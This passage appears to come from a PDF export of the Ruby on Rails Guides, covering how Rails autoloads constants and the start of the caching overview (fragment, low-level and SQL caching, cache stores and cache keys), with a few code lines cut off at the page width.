2.4.2 Resolution Algorithm for Qualified Constants

Qualified constants look like this:

Billing::Invoice

Billing::Invoice is composed of two constants: Billing is relative and

is resolved using the algorithm of the previous section.

Leading colons would make the first segment absolute rather than relative:
::Billing::Invoice. That would force Billing to be looked up only as a
top-level constant.
Invoice on the other hand is qualified by Billing and we are going to see

its resolution next. Let's define parent to be that qualifying class or module
object, that is, Billing in the example above. The algorithm for qualified
constants goes like this:

1. The constant is looked up in the parent and its ancestors.

2. If the lookup fails, const_missing is invoked in the parent. The
default implementation of const_missing raises NameError, but it
can be overridden.
As you see, this algorithm is simpler than the one for relative constants. In
particular, the nesting plays no role here, and modules are not specialcased, if neither they nor their ancestors have the constants, Object is not
checked.
Rails autoloading does not emulate this algorithm, but its starting point
is the name of the constant to be autoloaded, and the parent. See more in
Qualified References.

3 Vocabulary
3.1 Parent Namespaces
Given a string with a constant path we define its parent namespace to be
the string that results from removing its rightmost segment.
For example, the parent namespace of the string "A::B::C" is the string
"A::B", the parent namespace of "A::B" is "A", and the parent namespace
of "A" is "".
The interpretation of a parent namespace when thinking about classes and
modules is tricky though. Let's consider a module M named "A::B":
The parent namespace, "A", may not reflect nesting at a given spot.
The constant A may no longer exist, some code could have removed it
from Object.
If A exists, the class or module that was originally in A may not be
there anymore. For example, if after a constant removal there was
another constant assignment there would generally be a different
object in there.
In such case, it could even happen that the reassigned A held a new
class or module called also "A"!
In the previous scenarios M would no longer be reachable through
A::B but the module object itself could still be alive somewhere and
its name would still be "A::B".
The idea of a parent namespace is at the core of the autoloading algorithms
and helps explain and understand their motivation intuitively, but as you
see that metaphor leaks easily. Given an edge case to reason about, take
always into account that by "parent namespace" the guide means exactly
that specific string derivation.
3.2 Loading Mechanism

Rails autoloads files with Kernel#load when config.cache_classes is

false, the default in development mode, and with Kernel#require
otherwise, the default in production mode.
Kernel#load allows Rails to execute files more than once if constant

reloading is enabled.
This guide uses the word "load" freely to mean a given file is interpreted,
but the actual mechanism can be Kernel#load or Kernel#require
depending on that flag.

4 Autoloading Availability
Rails is always able to autoload provided its environment is in place. For
example the runner command autoloads:
$ bin/rails runner 'p User.column_names'
["id", "email", "created_at", "updated_at"]

The console autoloads, the test suite autoloads, and of course the
application autoloads.
By default, Rails eager loads the application files when it boots in
production mode, so most of the autoloading going on in development
does not happen. But autoloading may still be triggered during eager
loading.
For example, given
class BeachHouse < House
end

if House is still unknown when app/models/beach_house.rb is being

eager loaded, Rails autoloads it.

5 autoload_paths
As you probably know, when require gets a relative file name:
require 'erb'

Ruby looks for the file in the directories listed in $LOAD_PATH. That is,
Ruby iterates over all its directories and for each one of them checks
whether they have a file called "erb.rb", or "erb.so", or "erb.o", or
"erb.dll". If it finds any of them, the interpreter loads it and ends the
search. Otherwise, it tries again in the next directory of the list. If the list
gets exhausted, LoadError is raised.
We are going to cover how constant autoloading works in more detail
later, but the idea is that when a constant like Post is hit and missing, if
there's a post.rb file for example in app/models Rails is going to find it,
evaluate it, and have Post defined as a side-effect.
Alright, Rails has a collection of directories similar to $LOAD_PATH in
which to look up post.rb. That collection is called autoload_paths and
by default it contains:
All subdirectories of app in the application and engines present at
boot time. For example, app/controllers. They do not need to be
the default ones, any custom directories like app/workers belong
automatically to autoload_paths.
Any existing second level directories called app/*/concerns in the
application and engines.
The directory test/mailers/previews.
Also, this collection is configurable via config.autoload_paths. For
example, lib was in the list years ago, but no longer is. An application can
opt-in by adding this to config/application.rb:

config.autoload_paths << "#{Rails.root}/lib"

config.autoload_paths is not changeable from environment-specific

configuration files.
The value of autoload_paths can be inspected. In a just generated
application it is (edited):
$ bin/rails r 'puts ActiveSupport::Dependencies.autoload_paths'
.../app/assets
.../app/controllers
.../app/helpers
.../app/mailers
.../app/models
.../app/controllers/concerns
.../app/models/concerns
.../test/mailers/previews

autoload_paths is computed and cached during the initialization process.

The application needs to be restarted to reflect any changes in the directory

structure.

6 Autoloading Algorithms
6.1 Relative References
A relative constant reference may appear in several places, for example, in
class PostsController < ApplicationController
def index
@posts = Post.all
end
end

all three constant references are relative.

6.1.1 Constants after the class and module Keywords

Ruby performs a lookup for the constant that follows a class or module
keyword because it needs to know if the class or module is going to be
created or reopened.
If the constant is not defined at that point it is not considered to be a
missing constant, autoloading is not triggered.
So, in the previous example, if PostsController is not defined when the
file is interpreted Rails autoloading is not going to be triggered, Ruby will
just define the controller.
6.1.2 Top-Level Constants

On the contrary, if ApplicationController is unknown, the constant is

considered missing and an autoload is going to be attempted by Rails.
In order to load ApplicationController, Rails iterates over
autoload_paths. First it checks if
app/assets/application_controller.rb exists. If it does not, which is

normally the case, it continues and finds

app/controllers/application_controller.rb.

If the file defines the constant ApplicationController all is fine,

otherwise LoadError is raised:

unable to autoload constant ApplicationController, expected

<full path to application_controller.rb> to define it (LoadError

Rails does not require the value of autoloaded constants to be a class or

module object. For example, if the file app/models/max_clients.rb
defines MAX_CLIENTS = 100 autoloading MAX_CLIENTS works just fine.
6.1.3 Namespaces

Autoloading ApplicationController looks directly under the directories

of autoload_paths because the nesting in that spot is empty. The situation
of Post is different, the nesting in that line is [PostsController] and
support for namespaces comes into play.
The basic idea is that given
module Admin
class BaseController < ApplicationController
@@all_roles = Role.all
end
end

to autoload Role we are going to check if it is defined in the current or

parent namespaces, one at a time. So, conceptually we want to try to
autoload any of
Admin::BaseController::Role
Admin::Role
Role

in that order. That's the idea. To do so, Rails looks in autoload_paths

respectively for file names like these:
admin/base_controller/role.rb
admin/role.rb
role.rb

modulus some additional directory lookups we are going to cover soon.

'Constant::Name'.underscore gives the relative path without extension
of the file name where Constant::Name is expected to be defined.

Let's see how Rails autoloads the Post constant in the PostsController
above assuming the application has a Post model defined in
app/models/post.rb.
First it checks for posts_controller/post.rb in autoload_paths:
app/assets/posts_controller/post.rb
app/controllers/posts_controller/post.rb
app/helpers/posts_controller/post.rb
...
test/mailers/previews/posts_controller/post.rb

Since the lookup is exhausted without success, a similar search for a

directory is performed, we are going to see why in the next section:
app/assets/posts_controller/post
app/controllers/posts_controller/post
app/helpers/posts_controller/post
...
test/mailers/previews/posts_controller/post

If all those attempts fail, then Rails starts the lookup again in the parent
namespace. In this case only the top-level remains:

app/assets/post.rb
app/controllers/post.rb
app/helpers/post.rb
app/mailers/post.rb
app/models/post.rb

A matching file is found in app/models/post.rb. The lookup stops there

and the file is loaded. If the file actually defines Post all is fine, otherwise
LoadError is raised.
6.2 Qualified References
When a qualified constant is missing Rails does not look for it in the
parent namespaces. But there is a caveat: when a constant is missing, Rails
is unable to tell if the trigger was a relative reference or a qualified one.
For example, consider
module Admin
User
end

and
Admin::User

If User is missing, in either case all Rails knows is that a constant called
"User" was missing in a module called "Admin".
If there is a top-level User Ruby would resolve it in the former example,
but wouldn't in the latter. In general, Rails does not emulate the Ruby
constant resolution algorithms, but in this case it tries using the following
heuristic:

If none of the parent namespaces of the class or module has the

missing constant then Rails assumes the reference is relative.
Otherwise qualified.
For example, if this code triggers autoloading
Admin::User

and the User constant is already present in Object, it is not possible that
the situation is
module Admin
User
end

because otherwise Ruby would have resolved User and no autoloading

would have been triggered in the first place. Thus, Rails assumes a
qualified reference and considers the file admin/user.rb and directory
admin/user to be the only valid options.
In practice, this works quite well as long as the nesting matches all parent
namespaces respectively and the constants that make the rule apply are
known at that time.
However, autoloading happens on demand. If by chance the top-level User
was not yet loaded, then Rails assumes a relative reference by contract.
Naming conflicts of this kind are rare in practice, but if one occurs,
require_dependency provides a solution by ensuring that the constant
needed to trigger the heuristic is defined in the conflicting place.
6.3 Automatic Modules
When a module acts as a namespace, Rails does not require the application

to define a file for it, a directory matching the namespace is enough.

Suppose an application has a back office whose controllers are stored in
app/controllers/admin. If the Admin module is not yet loaded when
Admin::UsersController is hit, Rails needs first to autoload the constant
Admin.
If autoload_paths has a file called admin.rb Rails is going to load that
one, but if there's no such file and a directory called admin is found, Rails
creates an empty module and assigns it to the Admin constant on the fly.
6.4 Generic Procedure
Relative references are reported to be missing in the cref where they were
hit, and qualified references are reported to be missing in their parent (see
Resolution Algorithm for Relative Constants at the beginning of this guide
for the definition of cref, and Resolution Algorithm for Qualified
Constants for the definition of parent).
The procedure to autoload constant C in an arbitrary situation is as follows:
if the class or module in which C is missing is Object
let ns = ''
else
let M = the class or module in which C is missing
if M is anonymous
let ns = ''
else
let ns = M.name
end
end
loop do
# Look for a regular file.
for dir in autoload_paths
if the file "#{dir}/#{ns.underscore}/c.rb" exists
load/require "#{dir}/#{ns.underscore}/c.rb"

if C is now defined
return
else
raise LoadError
end
end
end
# Look for an automatic module.
for dir in autoload_paths
if the directory "#{dir}/#{ns.underscore}/c" exists
if ns is an empty string
let C = Module.new in Object and return
else
let C = Module.new in ns.constantize and return
end
end
end
if ns is empty
# We reached the top-level without finding the constant.
raise NameError
else
if C exists in any of the parent namespaces
# Qualified constants heuristic.
raise NameError
else
# Try again in the parent namespace.
let ns = the parent namespace of ns and retry
end
end
end

7 require_dependency
Constant autoloading is triggered on demand and therefore code that uses a
certain constant may have it already defined or may trigger an autoload.
That depends on the execution path and it may vary between runs.
There are times, however, in which you want to make sure a certain
constant is known when the execution reaches some code.
require_dependency provides a way to load a file using the current
loading mechanism, and keeping track of constants defined in that file as if
they were autoloaded to have them reloaded as needed.
require_dependency is rarely needed, but see a couple of use-cases in

Autoloading and STI and When Constants aren't Triggered.

Unlike autoloading, require_dependency does not expect the file to
define any particular constant. Exploiting this behavior would be a bad
practice though, file and constant paths should match.

8 Constant Reloading
When config.cache_classes is false Rails is able to reload autoloaded
constants.
For example, if you're in a console session and edit some file behind the
scenes, the code can be reloaded with the reload! command:
> reload!

When the application runs, code is reloaded when something relevant to

this logic changes. In order to do that, Rails monitors a number of things:
config/routes.rb.

Locales.
Ruby files under autoload_paths.
db/schema.rb and db/structure.sql.
If anything in there changes, there is a middleware that detects it and
reloads the code.
Autoloading keeps track of autoloaded constants. Reloading is
implemented by removing them all from their respective classes and
modules using Module#remove_const. That way, when the code goes on,
those constants are going to be unknown again, and files reloaded on
demand.
This is an all-or-nothing operation, Rails does not attempt to reload only
what changed since dependencies between classes makes that really tricky.
Instead, everything is wiped.

9 Module#autoload isn't Involved

Module#autoload provides a lazy way to load constants that is fully

integrated with the Ruby constant lookup algorithms, dynamic constant

API, etc. It is quite transparent.
Rails internals make extensive use of it to defer as much work as possible
from the boot process. But constant autoloading in Rails is not
implemented with Module#autoload.
One possible implementation based on Module#autoload would be to walk
the application tree and issue autoload calls that map existing file names
to their conventional constant name.
There are a number of reasons that prevent Rails from using that
implementation.
For example, Module#autoload is only capable of loading files using
require, so reloading would not be possible. Not only that, it uses an
internal require which is not Kernel#require.
Then, it provides no way to remove declarations in case a file is deleted. If
a constant gets removed with Module#remove_const its autoload is not
triggered again. Also, it doesn't support qualified names, so files with
namespaces should be interpreted during the walk tree to install their own
autoload calls, but those files could have constant references not yet
configured.
An implementation based on Module#autoload would be awesome but, as
you see, at least as of today it is not possible. Constant autoloading in Rails
is implemented with Module#const_missing, and that's why it has its own
contract, documented in this guide.

10 Common Gotchas
10.1 Nesting and Qualified Constants
Let's consider
module Admin
class UsersController < ApplicationController
def index
@users = User.all
end
end
end

and
class Admin::UsersController < ApplicationController
def index
@users = User.all
end
end

To resolve User Ruby checks Admin in the former case, but it does not in
the latter because it does not belong to the nesting (see Nesting and
Resolution Algorithms).
Unfortunately Rails autoloading does not know the nesting in the spot
where the constant was missing and so it is not able to act as Ruby would.
In particular, Admin::User will get autoloaded in either case.
Albeit qualified constants with class and module keywords may
technically work with autoloading in some cases, it is preferable to use
relative constants instead:
module Admin
class UsersController < ApplicationController

def index
@users = User.all
end
end
end

10.2 Autoloading and STI

Single Table Inheritance (STI) is a feature of Active Record that enables
storing a hierarchy of models in one single table. The API of such models
is aware of the hierarchy and encapsulates some common needs. For
example, given these classes:
# app/models/polygon.rb
class Polygon < ApplicationRecord
end
# app/models/triangle.rb
class Triangle < Polygon
end
# app/models/rectangle.rb
class Rectangle < Polygon
end

Triangle.create creates a row that represents a triangle, and

Rectangle.create creates a row that represents a rectangle. If id is the ID
of an existing record, Polygon.find(id) returns an object of the correct

type.
Methods that operate on collections are also aware of the hierarchy. For
example, Polygon.all returns all the records of the table, because all
rectangles and triangles are polygons. Active Record takes care of
returning instances of their corresponding class in the result set.
Types are autoloaded as needed. For example, if Polygon.first is a

rectangle and Rectangle has not yet been loaded, Active Record autoloads
it and the record is correctly instantiated.
All good, but if instead of performing queries based on the root class we
need to work on some subclass, things get interesting.
While working with Polygon you do not need to be aware of all its
descendants, because anything in the table is by definition a polygon, but
when working with subclasses Active Record needs to be able to
enumerate the types it is looking for. Lets see an example.
Rectangle.all only loads rectangles by adding a type constraint to the

query:
SELECT "polygons".* FROM "polygons"
WHERE "polygons"."type" IN ("Rectangle")

Lets introduce now a subclass of Rectangle:

# app/models/square.rb
class Square < Rectangle
end

Rectangle.all should now return rectangles and squares:

SELECT "polygons".* FROM "polygons"
WHERE "polygons"."type" IN ("Rectangle", "Square")

But theres a caveat here: How does Active Record know that the class
Square exists at all?
Even if the file app/models/square.rb exists and defines the Square
class, if no code yet used that class, Rectangle.all issues the query

SELECT "polygons".* FROM "polygons"

WHERE "polygons"."type" IN ("Rectangle")

That is not a bug, the query includes all known descendants of Rectangle.
A way to ensure this works correctly regardless of the order of execution is
to load the leaves of the tree by hand at the bottom of the file that defines
the root class:
# app/models/polygon.rb
class Polygon < ApplicationRecord
end
require_dependency square

Only the leaves that are at least grandchildren need to be loaded this
way. Direct subclasses do not need to be preloaded. If the hierarchy is
deeper, intermediate classes will be autoloaded recursively from the
bottom because their constant will appear in the class definitions as
superclass.
10.3 Autoloading and require
Files defining constants to be autoloaded should never be required:
require 'user' # DO NOT DO THIS
class UsersController < ApplicationController
...
end

There are two possible gotchas here in development mode:

1. If User is autoloaded before reaching the require,
app/models/user.rb runs again because load does not update

$LOADED_FEATURES.
If the require runs first Rails does not mark User as an autoloaded
constant and changes to app/models/user.rb aren't reloaded.

Just follow the flow and use constant autoloading always, never mix
autoloading and require. As a last resort, if some file absolutely needs to
load a certain file use require_dependency to play nice with constant
autoloading. This option is rarely needed in practice, though.
Of course, using require in autoloaded files to load ordinary 3rd party
libraries is fine, and Rails is able to distinguish their constants, they are not
marked as autoloaded.
10.4 Autoloading and Initializers
Consider this assignment in
config/initializers/set_auth_service.rb:
AUTH_SERVICE = if Rails.env.production?
RealAuthService
else
MockedAuthService
end

The purpose of this setup would be that the application uses the class that
corresponds to the environment via AUTH_SERVICE. In development mode
MockedAuthService gets autoloaded when the initializer runs. Lets
suppose we do some requests, change its implementation, and hit the
application again. To our surprise the changes are not reflected. Why?
As we saw earlier, Rails removes autoloaded constants, but AUTH_SERVICE
stores the original class object. Stale, non-reachable using the original
constant, but perfectly functional.
The following code summarizes the situation:

class C
def quack
'quack!'
end
end
X = C
Object.instance_eval { remove_const(:C) }
X.new.quack # => quack!
X.name # => C
C # => uninitialized constant C (NameError)

Because of that, it is not a good idea to autoload constants on application

initialization.
In the case above we could implement a dynamic access point:
# app/models/auth_service.rb
class AuthService
if Rails.env.production?
def self.instance
RealAuthService
end
else
def self.instance
MockedAuthService
end
end
end

and have the application use AuthService.instance instead. AuthService

would be loaded on demand and be autoload-friendly.
10.5 require_dependency and Initializers
As we saw before, require_dependency loads files in an autoloadingfriendly way. Normally, though, such a call does not make sense in an

initializer.
One could think about doing some require_dependency calls in an
initializer to make sure certain constants are loaded upfront, for example as
an attempt to address the gotcha with STIs.
Problem is, in development mode autoloaded constants are wiped if there
is any relevant change in the file system. If that happens then we are in the
very same situation the initializer wanted to avoid!
Calls to require_dependency have to be strategically written in
autoloaded spots.
10.6 When Constants aren't Missed
10.6.1 Relative References

Let's consider a flight simulator. The application has a default flight model
# app/models/flight_model.rb
class FlightModel
end

that can be overridden by each airplane, for instance

# app/models/bell_x1/flight_model.rb
module BellX1
class FlightModel < FlightModel
end
end
# app/models/bell_x1/aircraft.rb
module BellX1
class Aircraft
def initialize
@flight_model = FlightModel.new
end

end
end

The initializer wants to create a BellX1::FlightModel and nesting has

BellX1, that looks good. But if the default flight model is loaded and the
one for the Bell-X1 is not, the interpreter is able to resolve the top-level
FlightModel and autoloading is thus not triggered for
BellX1::FlightModel.
That code depends on the execution path.
These kind of ambiguities can often be resolved using qualified constants:
module BellX1
class Plane
def flight_model
@flight_model ||= BellX1::FlightModel.new
end
end
end

Also, require_dependency is a solution:

require_dependency 'bell_x1/flight_model'
module BellX1
class Plane
def flight_model
@flight_model ||= FlightModel.new
end
end
end
10.6.2 Qualified References

Given

# app/models/hotel.rb
class Hotel
end
# app/models/image.rb
class Image
end
# app/models/hotel/image.rb
class Hotel
class Image < Image
end
end

the expression Hotel::Image is ambiguous because it depends on the

execution path.
As we saw before, Ruby looks up the constant in Hotel and its ancestors.
If app/models/image.rb has been loaded but
app/models/hotel/image.rb hasn't, Ruby does not find Image in Hotel,
but it does in Object:
$ bin/rails r 'Image; p Hotel::Image' 2>/dev/null
Image # NOT Hotel::Image!

The code evaluating Hotel::Image needs to make sure

app/models/hotel/image.rb has been loaded, possibly with
require_dependency.
In these cases the interpreter issues a warning though:
warning: toplevel constant Image referenced by Hotel::Image

This surprising constant resolution can be observed with any qualifying

class:

2.1.5 :001 > String::Array

(irb):1: warning: toplevel constant Array referenced by String::
=> Array

To find this gotcha the qualifying namespace has to be a class, Object is

not an ancestor of modules.
10.7 Autoloading within Singleton Classes
Let's suppose we have these class definitions:
# app/models/hotel/services.rb
module Hotel
class Services
end
end
# app/models/hotel/geo_location.rb
module Hotel
class GeoLocation
class << self
Services
end
end
end

If Hotel::Services is known by the time

app/models/hotel/geo_location.rb is being loaded, Services is
resolved by Ruby because Hotel belongs to the nesting when the singleton
class of Hotel::GeoLocation is opened.
But if Hotel::Services is not known, Rails is not able to autoload it, the
application raises NameError.
The reason is that autoloading is triggered for the singleton class, which is
anonymous, and as we saw before, Rails only checks the top-level

namespace in that edge case.

An easy solution to this caveat is to qualify the constant:
module Hotel
class GeoLocation
class << self
Hotel::Services
end
end
end

10.8 Autoloading in BasicObject

Direct descendants of BasicObject do not have Object among their
ancestors and cannot resolve top-level constants:
class C < BasicObject
String # NameError: uninitialized constant C::String
end

When autoloading is involved that plot has a twist. Let's consider:

class C < BasicObject
def user
User # WRONG
end
end

Since Rails checks the top-level namespace User gets autoloaded just fine
the first time the user method is invoked. You only get the exception if the
User constant is known at that point, in particular in a second call to user:
c = C.new
c.user # surprisingly fine, User
c.user # NameError: uninitialized constant C::User

because it detects that a parent namespace already has the constant (see
Qualified References).
As with pure Ruby, within the body of a direct descendant of BasicObject
use always absolute constant paths:
class C < BasicObject
::String # RIGHT
def user
::User # RIGHT
end
end

Caching with Rails: An Overview

Ruby...

1 Basic Caching
This is an introduction to three types of caching techniques: page, action
and fragment caching. By default Rails provides fragment caching. In
order to use page and action caching you will need to add actionpackpage_caching and actionpack-action_caching to your Gemfile.
By default, caching is only enabled in your production environment. To
play around with caching locally you'll want to enable caching in your
local environment by setting
config.action_controller.perform_caching to true in the relevant
config/environments/*.rb file:
config.action_controller.perform_caching = true

Changing the value of config.action_controller.perform_caching will

only have an effect on the caching provided by the Action Controller
component. For instance, it will not impact low-level caching, that we
address below.
1.1 Page Caching
Page caching is a Rails mechanism which allows the request for a
generated page to be fulfilled by the webserver (i.e. Apache or NGINX)
without having to go through the entire Rails stack. While this is super fast
it can't be applied to every situation (such as pages that need
authentication). Also, because the webserver is serving a file directly from
the filesystem you will need to implement cache expiration.
Page Caching has been removed from Rails 4. See the actionpackpage_caching gem.
1.2 Action Caching

Page Caching cannot be used for actions that have before filters - for
example, pages that require authentication. This is where Action Caching
comes in. Action Caching works like Page Caching except the incoming
web request hits the Rails stack so that before filters can be run on it
before the cache is served. This allows authentication and other restrictions
to be run while still serving the result of the output from a cached copy.
Action Caching has been removed from Rails 4. See the actionpackaction_caching gem. See DHH's key-based cache expiration overview for
the newly-preferred method.
1.3 Fragment Caching
Dynamic web applications usually build pages with a variety of
components not all of which have the same caching characteristics. When
different parts of the page need to be cached and expired separately you
can use Fragment Caching.
Fragment Caching allows a fragment of view logic to be wrapped in a
cache block and served out of the cache store when the next request comes
in.
For example, if you wanted to cache each product on a page, you could use
this code:
<% @products.each do |product| %>
<% cache product do %>
<%= render product %>
<% end %>
<% end %>

When your application receives its first request to this page, Rails will
write a new cache entry with a unique key. A key looks something like
this:

views/products/1-201505056193031061005000/bea67108094918eeba42cd

The number in the middle is the product_id followed by the timestamp

value in the updated_at attribute of the product record. Rails uses the
timestamp value to make sure it is not serving stale data. If the value of
updated_at has changed, a new key will be generated. Then Rails will
write a new cache to that key, and the old cache written to the old key will
never be used again. This is called key-based expiration.
Cache fragments will also be expired when the view fragment changes
(e.g., the HTML in the view changes). The string of characters at the end
of the key is a template tree digest. It is an md5 hash computed based on
the contents of the view fragment you are caching. If you change the view
fragment, the md5 hash will change, expiring the existing file.
Cache stores like Memcached will automatically delete old cache files.
If you want to cache a fragment under certain conditions, you can use
cache_if or cache_unless:
<% cache_if admin?, product do %>
<%= render product %>
<% end %>
1.3.1 Collection caching

The render helper can also cache individual templates rendered for a
collection. It can even one up the previous example with each by reading
all cache templates at once instead of one by one. This is done by passing
cached: true when rendering the collection:

<%= render partial: 'products/product', collection: @products, c

All cached templates from previous renders will be fetched at once with

much greater speed. Additionally, the templates that haven't yet been
cached will be written to cache and multi fetched on the next render.
1.4 Russian Doll Caching
You may want to nest cached fragments inside other cached fragments.
This is called Russian doll caching.
The advantage of Russian doll caching is that if a single product is
updated, all the other inner fragments can be reused when regenerating the
outer fragment.
As explained in the previous section, a cached file will expire if the value
of updated_at changes for a record on which the cached file directly
depends. However, this will not expire any cache the fragment is nested
within.
For example, take the following view:
<% cache product do %>
<%= render product.games %>
<% end %>

Which in turn renders this view:

<% cache game do %>
<%= render game %>
<% end %>

If any attribute of game is changed, the updated_at value will be set to the
current time, thereby expiring the cache. However, because updated_at
will not be changed for the product object, that cache will not be expired
and your app will serve stale data. To fix this, we tie the models together
with the touch method:

class Product < ApplicationRecord

has_many :games
end
class Game < ApplicationRecord
belongs_to :product, touch: true
end

With touch set to true, any action which changes updated_at for a game
record will also change it for the associated product, thereby expiring the
cache.
1.5 Managing dependencies
In order to correctly invalidate the cache, you need to properly define the
caching dependencies. Rails is clever enough to handle common cases so
you don't have to specify anything. However, sometimes, when you're
dealing with custom helpers for instance, you need to explicitly define
them.
1.5.1 Implicit dependencies

Most template dependencies can be derived from calls to render in the

template itself. Here are some examples of render calls that
ActionView::Digestor knows how to decode:

render partial: "comments/comment", collection: commentable.comm

render "comments/comments"
render 'comments/comments'
render('comments/comments')
render "header" => render("comments/header")
render(@topic) => render("topics/topic")
render(topics) => render("topics/topic")
render(message.topics) => render("topics/topic")

On the other hand, some calls need to be changed to make caching work
properly. For instance, if you're passing a custom collection, you'll need to
change:
render @project.documents.where(published: true)

to:

render partial: "documents/document", collection: @project.docum

1.5.2 Explicit dependencies

Sometimes you'll have template dependencies that can't be derived at all.

This is typically the case when rendering happens in helpers. Here's an
example:
<%= render_sortable_todolists @project.todolists %>

You'll need to use a special comment format to call those out:

<%# Template Dependency: todolists/todolist %>
<%= render_sortable_todolists @project.todolists %>

In some cases, like a single table inheritance setup, you might have a
bunch of explicit dependencies. Instead of writing every template out, you
can use a wildcard to match any template in a directory:
<%# Template Dependency: events/* %>
<%= render_categorizable_events @person.events %>

As for collection caching, if the partial template doesn't start with a clean
cache call, you can still benefit from collection caching by adding a special
comment format anywhere in the template, like:

<%# Template Collection: notification %>

<% my_helper_that_calls_cache(some_arg, notification) do %>
<%= notification.name %>
<% end %>
1.5.3 External dependencies

If you use a helper method, for example, inside a cached block and you
then update that helper, you'll have to bump the cache as well. It doesn't
really matter how you do it, but the md5 of the template file must change.
One recommendation is to simply be explicit in a comment, like:
<%# Helper Dependency Updated: Jul 28, 2015 at 7pm %>
<%= some_helper_method(person) %>

1.6 Low-Level Caching

Sometimes you need to cache a particular value or query result instead of
caching view fragments. Rails' caching mechanism works great for storing
any kind of information.
The most efficient way to implement low-level caching is using the
Rails.cache.fetch method. This method does both reading and writing
to the cache. When passed only a single argument, the key is fetched and
value from the cache is returned. If a block is passed, the result of the
block will be cached to the given key and the result is returned.
Consider the following example. An application has a Product model with
an instance method that looks up the products price on a competing
website. The data returned by this method would be perfect for low-level
caching:

class Product < ApplicationRecord

def competing_price
Rails.cache.fetch("#{cache_key}/competing_price", expires_in

Competitor::API.find_price(id)
end
end
end

Notice that in this example we used the cache_key method, so the

resulting cache-key will be something like products/23320140225082222765838000/competing_price. cache_key generates a
string based on the models id and updated_at attributes. This is a
common convention and has the benefit of invalidating the cache
whenever the product is updated. In general, when you use low-level
caching for instance level information, you need to generate a cache key.
1.7 SQL Caching
Query caching is a Rails feature that caches the result set returned by each
query. If Rails encounters the same query again for that request, it will use
the cached result set as opposed to running the query against the database
again.
For example:
class ProductsController < ApplicationController
def index
# Run a find query
@products = Product.all
...
# Run the same query again
@products = Product.all
end
end

The second time the same query is run against the database, it's not
actually going to hit the database. The first time the result is returned from
the query it is stored in the query cache (in memory) and the second time
it's pulled from memory.
However, it's important to note that query caches are created at the start of
an action and destroyed at the end of that action and thus persist only for
the duration of the action. If you'd like to store query results in a more
persistent fashion, you can with low level caching.

2 Cache Stores
Rails provides different stores for the cached data (apart from SQL and
page caching).
2.1 Configuration
You can set up your application's default cache store by setting the
config.cache_store configuration option. Other parameters can be
passed as arguments to the cache store's constructor:
config.cache_store = :memory_store, { size: 64.megabytes }

Alternatively, you can call ActionController::Base.cache_store

outside of a configuration block.
You can access the cache by calling Rails.cache.
2.2 ActiveSupport::Cache::Store
This class provides the foundation for interacting with the cache in Rails.
This is an abstract class and you cannot use it on its own. Rather you must
use a concrete implementation of the class tied to a storage engine. Rails
ships with several implementations documented below.
The main methods to call are read, write, delete, exist?, and fetch. The
fetch method takes a block and will either return an existing value from the
cache, or evaluate the block and write the result to the cache if no value
exists.
There are some common options used by all cache implementations. These
can be passed to the constructor or the various methods to interact with
entries.

:namespace - This option can be used to create a namespace within

the cache store. It is especially useful if your application shares a

cache with other applications.
:compress - This option can be used to indicate that compression
should be used in the cache. This can be useful for transferring large
cache entries over a slow network.
:compress_threshold - This option is used in conjunction with the
:compress option to indicate a threshold under which cache entries
should not be compressed. This defaults to 16 kilobytes.
:expires_in - This option sets an expiration time in seconds for the
cache entry when it will be automatically removed from the cache.
:race_condition_ttl - This option is used in conjunction with the
:expires_in option. It will prevent race conditions when cache
entries expire by preventing multiple processes from simultaneously
regenerating the same entry (also known as the dog pile effect). This
option sets the number of seconds that an expired entry can be reused
while a new value is being regenerated. It's a good practice to set this
value if you use the :expires_in option.
2.2.1 Custom Cache Stores

You can create your own custom cache store by simply extending
ActiveSupport::Cache::Store and implementing the appropriate
methods. This way, you can swap in any number of caching technologies
into your Rails application.
To use a custom cache store, simply set the cache store to a new instance
of your custom class.
config.cache_store = MyCacheStore.new

2.3 ActiveSupport::Cache::MemoryStore

This cache store keeps entries in memory in the same Ruby process. The
cache store has a bounded size specified by sending the :size option to
the initializer (default is 32Mb). When the cache exceeds the allotted size,
a cleanup will occur and the least recently used entries will be removed.
config.cache_store = :memory_store, { size: 64.megabytes }

If you're running multiple Ruby on Rails server processes (which is the

case if you're using mongrel_cluster or Phusion Passenger), then your
Rails server process instances won't be able to share cache data with each
other. This cache store is not appropriate for large application
deployments. However, it can work well for small, low traffic sites with
only a couple of server processes, as well as development and test
environments.
2.4 ActiveSupport::Cache::FileStore
This cache store uses the file system to store entries. The path to the
directory where the store files will be stored must be specified when
initializing the cache.
config.cache_store = :file_store, "/path/to/cache/directory"

With this cache store, multiple server processes on the same host can share
a cache. The cache store is appropriate for low to medium traffic sites that
are served off one or two hosts. Server processes running on different
hosts could share a cache by using a shared file system, but that setup is
not recommended.
As the cache will grow until the disk is full, it is recommended to
periodically clear out old entries.
This is the default cache store implementation.

2.5 ActiveSupport::Cache::MemCacheStore
This cache store uses Danga's memcached server to provide a centralized
cache for your application. Rails uses the bundled dalli gem by default.
This is currently the most popular cache store for production websites. It
can be used to provide a single, shared cache cluster with very high
performance and redundancy.
When initializing the cache, you need to specify the addresses for all
memcached servers in your cluster. If none are specified, it will assume
memcached is running on localhost on the default port, but this is not an
ideal setup for larger sites.
The write and fetch methods on this cache accept two additional options
that take advantage of features specific to memcached. You can specify
:raw to send a value directly to the server with no serialization. The value
must be a string or number. You can use memcached direct operations like
increment and decrement only on raw values. You can also specify
:unless_exist if you don't want memcached to overwrite an existing
entry.

config.cache_store = :mem_cache_store, "cache-1.example.com", "c

2.6 ActiveSupport::Cache::NullStore
This cache store implementation is meant to be used only in development
or test environments and it never stores anything. This can be very useful
in development when you have code that interacts directly with
Rails.cache but caching may interfere with being able to see the results
of code changes. With this cache store, all fetch and read operations will
result in a miss.
config.cache_store = :null_store

3 Cache Keys
The keys used in a cache can be any object that responds to either
cache_key or to_param. You can implement the cache_key method on
your classes if you need to generate custom keys. Active Record will
generate keys based on the class name and record id.
You can use Hashes and Arrays of values as cache keys.
# This is a legal cache key
Rails.cache.read(site: "mysite", owners: [owner_1, owner_2])

The keys you use on Rails.cache will not be the same as those actually
used with the storage engine. They may be modified with a namespace or
altered to fit technology backend constraints. This means, for instance, that
you can't save values with Rails.cache and then try to pull them out with
the dalli gem. However, you also don't need to worry about exceeding
the memcached size limit or violating syntax rules.

4 Conditional GET support

Conditional GETs are a feature of the HTTP specification that provide a
way for web servers to tell browsers that the response to a GET request
hasn't changed since the last request and can be safely pulled from the
browser cache.
They work by using the HTTP_IF_NONE_MATCH and
HTTP_IF_MODIFIED_SINCE headers to pass back and forth both a unique
content identifier and the timestamp of when the content was last changed.
